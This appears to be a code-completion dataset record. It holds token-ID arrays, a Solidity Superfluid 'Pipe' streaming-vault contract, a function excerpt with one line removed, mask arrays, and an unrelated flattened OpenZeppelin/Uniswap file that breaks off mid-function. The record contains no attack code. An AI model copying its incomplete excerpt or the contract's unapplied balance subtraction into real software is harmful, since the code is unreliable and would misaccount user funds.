[ 1, 565, 445, 7720, 2711, 1435, 2713, 7720, 1382, 288, 203, 3639, 2254, 5034, 5976, 48, 18988, 24237, 14667, 273, 353, 4851, 48, 18988, 939, 12, 3299, 48, 18988, 24237, 16, 1018, 48, 18988, 24237, 8517, 26721, 13, 692, 374, 294, 4501, 372, 24237, 14667, 31, 203, 3639, 2254, 5034, 3844, 774, 48, 18988, 1164, 273, 7720, 7614, 18, 16411, 12, 14507, 48, 18988, 24237, 14667, 2934, 2892, 12, 4963, 14667, 2934, 2892, 12, 22, 1769, 203, 3639, 2254, 5034, 3844, 774, 12521, 273, 7720, 7614, 18, 1717, 12, 8949, 774, 48, 18988, 1164, 1769, 203, 203, 3639, 1758, 8526, 3778, 589, 273, 394, 1758, 8526, 12, 22, 1769, 203, 3639, 589, 63, 20, 65, 273, 1758, 12, 2211, 1769, 203, 3639, 589, 63, 21, 65, 273, 678, 1584, 44, 31, 203, 203, 3639, 2254, 5034, 11013, 4649, 273, 1758, 12, 2211, 2934, 12296, 31, 203, 203, 3639, 4633, 18, 22270, 14332, 5157, 1290, 1584, 44, 6289, 310, 14667, 1398, 5912, 5157, 12, 203, 5411, 3844, 774, 12521, 16, 203, 5411, 374, 16, 203, 5411, 589, 16, 203, 5411, 1758, 12, 2211, 3631, 203, 5411, 1203, 18, 5508, 203, 3639, 11272, 203, 203, 3639, 2254, 5034, 3844, 15388, 38, 273, 1758, 12, 2211, 2934, 12296, 18, 1717, 12, 12296, 4649, 1769, 203, 203, 3639, 2254, 5034, 2078, 15388, 38, 14667, 273, 2078, 14667, 18, 1717, 12, 14507, 48, 18988, 24237, 14667, 18, 2892, 12, 22, 10019, 203, 540, 203, 3639, 2254, 5034, 3844, 15388, 14618, 18988, 24237, 273, 3844, 15388, 38, 18, 16411, 12, 14507, 2 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.7.1; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; import { Int96SafeMath } from "@superfluid-finance/ethereum-contracts/contracts/utils/Int96SafeMath.sol"; import { IConstantFlowAgreementV1 } from "@superfluid-finance/ethereum-contracts/contracts/interfaces/agreements/IConstantFlowAgreementV1.sol"; import { ISuperfluid, ISuperToken } from "@superfluid-finance/ethereum-contracts/contracts/interfaces/superfluid/ISuperfluid.sol"; import { Vault } from "./Vault.sol"; /// @author Piped-Piper ETHGlobal Hack Money Team /// @title Pipe takes a single flow and periodically sends these funds into an existing yield generating farm or /// any other type of contract. You can use this contract by inheriting it and overriding the functions in the /// abstract contract to implement the deposit, withdraw and balanceOf functions of the respective vaults. /// Input: A flow of SuperTokens from a single address. /// Output: The underlying token to a single address. /// Caveat: Certain variables are set to public for testing purposes. contract Pipe is Vault { struct UserFlowData { uint256 flowUpdatedTimestamp; int256 flowAmountSinceUpdate; int256 flowBalance; } struct InflowToPipeData { uint256 lastInflowToPipeFlowUpdate; int256 pipeFlowBalance; int96 inflowToPipeFlowRate; } using SafeMath for uint256; using SignedSafeMath for int256; using SafeCast for uint256; using SafeCast for int256; using Int96SafeMath for int96; ISuperToken public acceptedToken; // private mapping(address => UserFlowData) public userFlowData; // private address public allowedVaultDepositorAddress; // private uint256 public lastVaultDepositTimestamp; // private InflowToPipeData public inflowToPipeData; // private event DepositFundsToVault(uint256 amount, uint256 timestamp); event WithdrawFromVault(address withdrawer, uint256 amount); event WithdrawPipeFlow(address indexed withdrawer, uint256 amount); event UserToPipeFlowDataUpdated( address user, int96 previousFlowRate, int256 flowBalance, uint256 flowUpdatedTimestamp, int256 flowAmountSinceUpdate ); event ValveToPipeFlowDataUpdated(int96 newFlowRate, int256 pipeFlowBalance, uint256 lastInflowToPipeFlow); constructor(ISuperToken _acceptedToken) Vault() { require(address(_acceptedToken) != address(0), "Token is zero address."); acceptedToken = _acceptedToken; allowedVaultDepositorAddress = msg.sender; } /************************************************************************** * Withdrawn Amounts Logic *************************************************************************/ /** * @dev Returns whether a batch deposit is more recent than a flow create/update. */ function isDepositAfterUpdate(address _user) internal view returns (bool) { return lastVaultDepositTimestamp > userFlowData[_user].flowUpdatedTimestamp; } /** * @dev Returns the most recent of: the last time the user updated their flow rate, * when a batch vault deposit occurred, or the user withdrew. */ function getLastUpdatedTime(address _user) internal view returns (uint256) { return isDepositAfterUpdate(_user) ? lastVaultDepositTimestamp : userFlowData[_user].flowUpdatedTimestamp; } /** * @dev Gets the amount flowed into Pipe available for withdrawal. Depending on whether the deposit or the time * since last flow is more recent, we either add the previous flowAmount or just get the flowAmount * since the deposit. */ function _withdrawableFlowAmount(address _user, int96 _flowRate) internal view returns (int256) { int256 addAmount = isDepositAfterUpdate(_user) ? 0 : userFlowData[_user].flowAmountSinceUpdate; return block.timestamp.toInt256().sub(getLastUpdatedTime(_user).toInt256()).mul(_flowRate).add(addAmount); } function _getCurrentFlowBalance(address _user, int96 _previousFlowRate) internal view returns (int256) { return userFlowData[_user].flowBalance.add( block.timestamp.toInt256().sub(userFlowData[_user].flowUpdatedTimestamp.toInt256()).mul( _previousFlowRate ) ); } /** * @dev Updates the timestamp of the total amount the user has flowed into the Pipe, * when the user flow amount last updated as well as the amount of flow since the user * last updated their flow agreement. */ function setUserFlowWithdrawData(address _user, int96 _previousFlowRate) external { int256 flowBalance = _getCurrentFlowBalance(_user, _previousFlowRate); userFlowData[_user].flowAmountSinceUpdate = _withdrawableFlowAmount(_user, _previousFlowRate); userFlowData[_user].flowBalance = flowBalance; userFlowData[_user].flowUpdatedTimestamp = block.timestamp; emit UserToPipeFlowDataUpdated( _user, _previousFlowRate, flowBalance, block.timestamp, _withdrawableFlowAmount(_user, _previousFlowRate) ); } /** * @dev Updates the timestamp of the total amount that has flowed into the Pipe and * when the flow agreement was last updated. */ function setPipeFlowData(int96 _newFlowRate) external { int256 pipeFlowBalance = inflowToPipeData.pipeFlowBalance.add( block.timestamp.toInt256().sub(inflowToPipeData.lastInflowToPipeFlowUpdate.toInt256()).mul( inflowToPipeData.inflowToPipeFlowRate ) ); inflowToPipeData.pipeFlowBalance = pipeFlowBalance; inflowToPipeData.inflowToPipeFlowRate = _newFlowRate; inflowToPipeData.lastInflowToPipeFlowUpdate = block.timestamp; emit ValveToPipeFlowDataUpdated(_newFlowRate, pipeFlowBalance, block.timestamp); } /************************************************************************** * Deposit/Withdraw Logic *************************************************************************/ /** * @dev Gets the total amount flowed into the Pipe based on the current block.timestamp * downgrades all the supertokens and deposits them into a vault. */ function depositFundsIntoVault() public { require(msg.sender == allowedVaultDepositorAddress, "You don't have permission to deposit into the vault."); // this should get the current available balance/flowed in amount from users (int256 pipeAvailableBalance, , , ) = acceptedToken.realtimeBalanceOfNow(address(this)); require(pipeAvailableBalance > 0, "There is nothing to deposit into the vault"); lastVaultDepositTimestamp = block.timestamp; uint256 amount = pipeAvailableBalance.toUint256(); acceptedToken.downgrade(amount); address underlying = acceptedToken.getUnderlyingToken(); // deposit into the vault _depositToVault(underlying, amount, address(this)); emit DepositFundsToVault(amount, block.timestamp); } /** * @dev Withdraws the tokens from a vault and updates the state accordingly. */ function withdraw(int96 _flowRate, address _user) external returns (uint256) { return _withdraw(_flowRate, _user); } /** * @dev Withdraws any deposited tokens from a vault as well as the flow amount and updates the state accordingly. */ function _withdraw(int96 _flowRate, address _user) internal returns (uint256) { uint256 availableVaultWithdrawAmount = _vaultRewardBalanceOf(_user, _flowRate); int256 availableFlowWithdraw = _withdrawableFlowAmount(_user, _flowRate); // withdrawable vault amount (incl. rewards) + user's _withdrawableFlowAmount uint256 withdrawableFlowAmount = availableFlowWithdraw.toUint256(); require(withdrawableFlowAmount > 0 || availableVaultWithdrawAmount > 0, "There is nothing to withdraw."); // subtract whatever the user is withdrawing from the valve balance inflowToPipeData.pipeFlowBalance.sub(availableFlowWithdraw.add(availableVaultWithdrawAmount.toInt256())); // since the user is withdrawing, we reset the flowAmount since update as well as the user's flowBalance userFlowData[_user].flowAmountSinceUpdate = 0; userFlowData[_user].flowBalance = 0; userFlowData[_user].flowUpdatedTimestamp = block.timestamp; if (availableVaultWithdrawAmount > 0) { // withdraw from the vault directly to user _withdrawFromVault(availableVaultWithdrawAmount, _user); emit WithdrawFromVault(_user, availableVaultWithdrawAmount); } // Transfer balance bool success = ISuperToken(acceptedToken).transfer(_user, withdrawableFlowAmount); require(success, "Unable to transfer tokens."); emit WithdrawPipeFlow(_user, withdrawableFlowAmount); return withdrawableFlowAmount.add(availableVaultWithdrawAmount); } /************************************************************************** * Getter Functions *************************************************************************/ /** @dev Returns the total withdrawable balance, composed of the tokens deposited in the vault + rewards * as well as the amount of tokens that haven't been deposited but have been flowed into the Pipe. */ function totalWithdrawableBalance(address _withdrawer, int96 _flowRate) external view returns (int256) { int256 availableFlowWithdraw = _withdrawableFlowAmount(_withdrawer, _flowRate); int256 vaultReward = _vaultRewardBalanceOf(_withdrawer, _flowRate).toInt256(); return availableFlowWithdraw.add(vaultReward); } /** * @dev Returns _depositor deposit. Note: this only allows the user to withdraw what they deposited in, * it does not work in the case where the vault accrues interest. */ function _vaultRewardBalanceOf(address _withdrawer, int96 _flowRate) internal view returns (uint256) { int256 currentFlowBalance = _getCurrentFlowBalance(_withdrawer, _flowRate); uint256 totalVaultWithdrawableAmount = currentFlowBalance < _withdrawableFlowAmount(_withdrawer, _flowRate) ? 0 : currentFlowBalance.sub(_withdrawableFlowAmount(_withdrawer, _flowRate)).toUint256(); return totalVaultWithdrawableAmount; } }
* @dev Withdraws any deposited tokens from a vault as well as the flow amount and updates the state accordingly./ withdrawable vault amount (incl. rewards) + user's _withdrawableFlowAmount subtract whatever the user is withdrawing from the valve balance since the user is withdrawing, we reset the flowAmount since update as well as the user's flowBalance withdraw from the vault directly to user
function _withdraw(int96 _flowRate, address _user) internal returns (uint256) { uint256 availableVaultWithdrawAmount = _vaultRewardBalanceOf(_user, _flowRate); int256 availableFlowWithdraw = _withdrawableFlowAmount(_user, _flowRate); uint256 withdrawableFlowAmount = availableFlowWithdraw.toUint256(); require(withdrawableFlowAmount > 0 || availableVaultWithdrawAmount > 0, "There is nothing to withdraw."); inflowToPipeData.pipeFlowBalance.sub(availableFlowWithdraw.add(availableVaultWithdrawAmount.toInt256())); userFlowData[_user].flowAmountSinceUpdate = 0; userFlowData[_user].flowBalance = 0; userFlowData[_user].flowUpdatedTimestamp = block.timestamp; if (availableVaultWithdrawAmount > 0) { _withdrawFromVault(availableVaultWithdrawAmount, _user); emit WithdrawFromVault(_user, availableVaultWithdrawAmount); } require(success, "Unable to transfer tokens."); emit WithdrawPipeFlow(_user, withdrawableFlowAmount); return withdrawableFlowAmount.add(availableVaultWithdrawAmount); }
5,508,035
[ 1, 1190, 9446, 87, 1281, 443, 1724, 329, 2430, 628, 279, 9229, 487, 5492, 487, 326, 4693, 3844, 471, 4533, 326, 919, 15905, 18, 19, 598, 9446, 429, 9229, 3844, 261, 267, 830, 18, 283, 6397, 13, 397, 729, 1807, 389, 1918, 9446, 429, 5249, 6275, 10418, 15098, 326, 729, 353, 598, 9446, 310, 628, 326, 1244, 537, 11013, 3241, 326, 729, 353, 598, 9446, 310, 16, 732, 2715, 326, 4693, 6275, 3241, 1089, 487, 5492, 487, 326, 729, 1807, 4693, 13937, 598, 9446, 628, 326, 9229, 5122, 358, 729, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 1918, 9446, 12, 474, 10525, 389, 2426, 4727, 16, 1758, 389, 1355, 13, 2713, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 2319, 12003, 1190, 9446, 6275, 273, 389, 26983, 17631, 1060, 13937, 951, 24899, 1355, 16, 389, 2426, 4727, 1769, 203, 3639, 509, 5034, 2319, 5249, 1190, 9446, 273, 389, 1918, 9446, 429, 5249, 6275, 24899, 1355, 16, 389, 2426, 4727, 1769, 203, 203, 3639, 2254, 5034, 598, 9446, 429, 5249, 6275, 273, 2319, 5249, 1190, 9446, 18, 869, 5487, 5034, 5621, 203, 3639, 2583, 12, 1918, 9446, 429, 5249, 6275, 405, 374, 747, 2319, 12003, 1190, 9446, 6275, 405, 374, 16, 315, 9828, 353, 5083, 358, 598, 9446, 1199, 1769, 203, 203, 3639, 316, 2426, 774, 11546, 751, 18, 14772, 5249, 13937, 18, 1717, 12, 5699, 5249, 1190, 9446, 18, 1289, 12, 5699, 12003, 1190, 9446, 6275, 18, 869, 1702, 5034, 1435, 10019, 203, 203, 3639, 729, 5249, 751, 63, 67, 1355, 8009, 2426, 6275, 9673, 1891, 273, 374, 31, 203, 3639, 729, 5249, 751, 63, 67, 1355, 8009, 2426, 13937, 273, 374, 31, 203, 3639, 729, 5249, 751, 63, 67, 1355, 8009, 2426, 7381, 4921, 273, 1203, 18, 5508, 31, 203, 203, 3639, 309, 261, 5699, 12003, 1190, 9446, 6275, 405, 374, 13, 288, 203, 5411, 389, 1918, 9446, 1265, 12003, 12, 5699, 12003, 1190, 9446, 6275, 16, 389, 1355, 1769, 203, 5411, 3626, 3423, 9446, 1265, 12003, 24899, 1355, 16, 2319, 12003, 1190, 9446, 6275, 1769, 203, 3639, 289, 203, 203, 3639, 2583, 12, 4768, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.7.0; // File: @openzeppelin\contracts\token\ERC20\IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: node_modules\@openzeppelin\contracts\utils\Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin\contracts\math\SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: node_modules\@openzeppelin\contracts\GSN\Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin\contracts\access\Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\interfaces\IUniswapV2Pair.sol interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts\interfaces\IUniswapV2Factory.sol interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } // File: contracts\libraries\SafeMath.sol // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMathUniswap { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal 